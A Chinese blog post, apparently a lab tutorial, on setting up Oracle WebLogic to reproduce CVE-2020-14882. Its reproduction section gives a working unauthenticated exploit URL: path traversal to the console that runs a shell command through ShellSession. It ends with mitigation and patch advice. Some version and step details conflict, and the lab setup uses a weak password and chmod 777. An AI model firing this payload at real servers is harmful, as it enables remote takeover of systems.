CVE-2020-14882 WebLogic远程代码执行漏洞测试环境搭建

目录

1、漏洞描述

1.1、漏洞简介

1.2、影响范围

 2、环境搭建

2.1、环境准备

 2.2、环境搭建

2.2.1、安装JDK

 2.2.2、安装Weblogic

 3、漏洞复现

 4、漏洞修复

4.1、临时修复

4.2、官方修复


1、漏洞描述

1.1、漏洞简介

        远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console,并在 WebLogic Server Console 执行任意代码。

1.2、影响范围

       Oracle WebLogic Server 版本10.3.6.0

        Oracle WebLogic Server 版本12.1.3.0

        Oracle WebLogic Server 版本12.2.1.3

        Oracle WebLogic Server 版本12.2.1.4

        Oracle WebLogic Server 版本14.1.1.0

 2、环境搭建

2.1、环境准备

  1. Oracle WebLogic Server 版本14.1.0
  2. jdk-8u331-linux-x64

 2.2、环境搭建

2.2.1、安装JDK

        1.下载jdk-8u333-linux-x64 下载地址

     2.上传到虚拟机上解压,设置环境变量 vim /etc/profile 将下面两行代码复制到后面,保存退出后使用 source /etc/profile 命令使该文件生效

export JAVA_HOME=/usr/local/java/jdk1.8.0_331
export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH

 

         3.java版本验证安装是否成功,此时可以看到Java版本号证明安装成功

 2.2.2、安装Weblogic

        1.创建创建用户和组

useradd  weblogic

         2.使用root账户创建目录,并将所有权赋予weblogic

mkdir -p /home/weblogic
chown -R weblogic:weblogic /home/weblogic
chmod 777 /home/weblogic

        3.下载weblogic14.1.1.0 下载地址

 

         4.上传到虚拟机上/home/weblogic目录下,并解压

tar -zvxf fmw_14.1.1.0.0_wls_lite_Disk1_1of1

        5.切换到root用户

su weblogic

        6.创建wls.rsporaInst.loc文件

vim wls.rsp

#wls.rsp文件内容:

[ENGINE]
#DO NOT CHANGE THIS.
Response File Version=1.0.0.0.0
[GENERIC]
##The oracle home location. This can be an existing Oracle Home #or a new Oracle Home
# Apart from the need to install the directory, there is no need to make changes in other places.
ORACLE_HOME=/home/weblogic/Oracle/Middleware
##Set this variable value to the Installation Type selected. e.g. WebLogic Server, Coherence, Complete with Examples.
#
INSTALL_TYPE=WebLogic Server
#
##Provide the My Oracle Support Username. If you wish to ignore Oracle Configuration Manager configuration provide empty string for user name.
#
MYORACLESUPPORT_USERNAME=
#
##Provide the My Oracle Support Password
#
#MYORACLESUPPORT_PASSWORD=<SECURE VALUE>
MYORACLESUPPORT_PASSWORD=
#
##Set this to true if you wish to decline the security updates. Setting this to true and providing empty string for My Oracle Support username will ignore the Oracle Configuration Manager configuration
#
DECLINE_SECURITY_UPDATES=true
#
##Set this to true if My Oracle Support Password is specified
#
SECURITY_UPDATES_VIA_MYORACLESUPPORT=false
#
##Provide the Proxy Host
#
PROXY_HOST=
#
##Provide the Proxy Port
#
PROXY_PORT=
#
##Provide the Proxy Username
#
PROXY_USER=
#
##Provide the Proxy Password
#
PROXY_PWD=<SECURE VALUE>
#
##Type String (URL format) Indicates the OCM Repeater URL which should be of the format [scheme[Http/Https]]://[repeater host]:[repeater port]
#
COLLECTOR_SUPPORTHUB_URL=
vim  oraInst.loc

#oraInst.loc文件内容:

inventory_loc=/home/weblogic/oraInventory
inst_group=weblogic

#注意:确保 oraInst.loc wls.rsp fmw_12.2.1.4.0_wls.jar 三个文件weblogic用户必须要有读写权限

        7. 前期这些工作完成过后,就可以安装Weblogic了

java -jar fmw_14.1.1.0.0_wls_lite_generic.jar -silent -responseFile /home/weblogic/wls.rsp -invPtrLoc /home/weblogic/oraInst.loc -ignoreSysPrereqs

        创建Domain域名

        通过命令行交互创建

cd /home/weblogic/Oracle/Middleware/
mkdir -p user_projects/domains/base_domain

[weblogic@localhost /]$ cd /home/weblogic/Oracle/Middleware/wlserver/common/bin/
[weblogic@localhost bin]$ ls
config.sh  pack.sh  unpack.sh  wlscontrol.sh  wlsifconfig.sh  wlst.sh
[weblogic@localhost bin]$ ./wlst.sh 
WARNING: This is a deprecated script. Please invoke the wlst.sh script under oracle_common/common/bin.

Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

wls:/offline> readTemplate('/home/weblogic/Oracle/Middleware/wlserver/common/templates/wls/wls.jar')
警告: readTemplate 已过时。在 selectTemplate 后请使用 loadTemplates 以取代 readTemplate。
wls:/offline/base_domain>cd('Servers/AdminServer')
wls:/offline/base_domain/Server/AdminServer>set('ListenPort',7001)
wls:/offline/base_domain/Server/AdminServer>cd('/')
wls:/offline/base_domain>cd('Security/base_domain/User/weblogic')
wls:/offline/base_domain/Security/base_domain/User/weblogic>cmo.setName('weblogic')
wls:/offline/base_domain/Security/base_domain/User/weblogic>cmo.setPassword('weblogic123')
wls:/offline/base_domain/Security/base_domain/User/weblogic>setOption('ServerStartMode','prod')
wls:/offline/base_domain/Security/base_domain/User/weblogic>setOption('OverwriteDomain','true')
wls:/offline/base_domain/Security/base_domain/User/weblogic>writeDomain('/home/weblogic/Oracle/Middleware/user_projects/domains/base_domain')
wls:/offline/base_domain/Security/base_domain/User/weblogic>closeTemplate()
wls:/offline>exit()


Exiting WebLogic Scripting Tool.

   

 

  8.验证Weblogic是否安装成功

        1).启动Weblogic

    

     2).访问验证:http://IP:7001/console/login/LoginForm.jsp 

 

 3、漏洞复现

        1.执行POC

http://ip:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/CVE-2020-14882%27);%22)

 

        2.访问显示出错了,查看虚拟机/tmp目录下有没有创建成功CVE-2020-14882

         可以看到成功在/tmp目录下成功创建了CVE-2020-14882文件,此时漏洞复现成功

 4、漏洞修复

4.1、临时修复

        暂时对外关闭后台 /console/console.portal 的访问权限。

4.2、官方修复

        安装官方最新补丁进行升级:

        ​​​​​​​​​​​​​​https://www.oracle.com/security-alerts/cpuapr2020.html

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值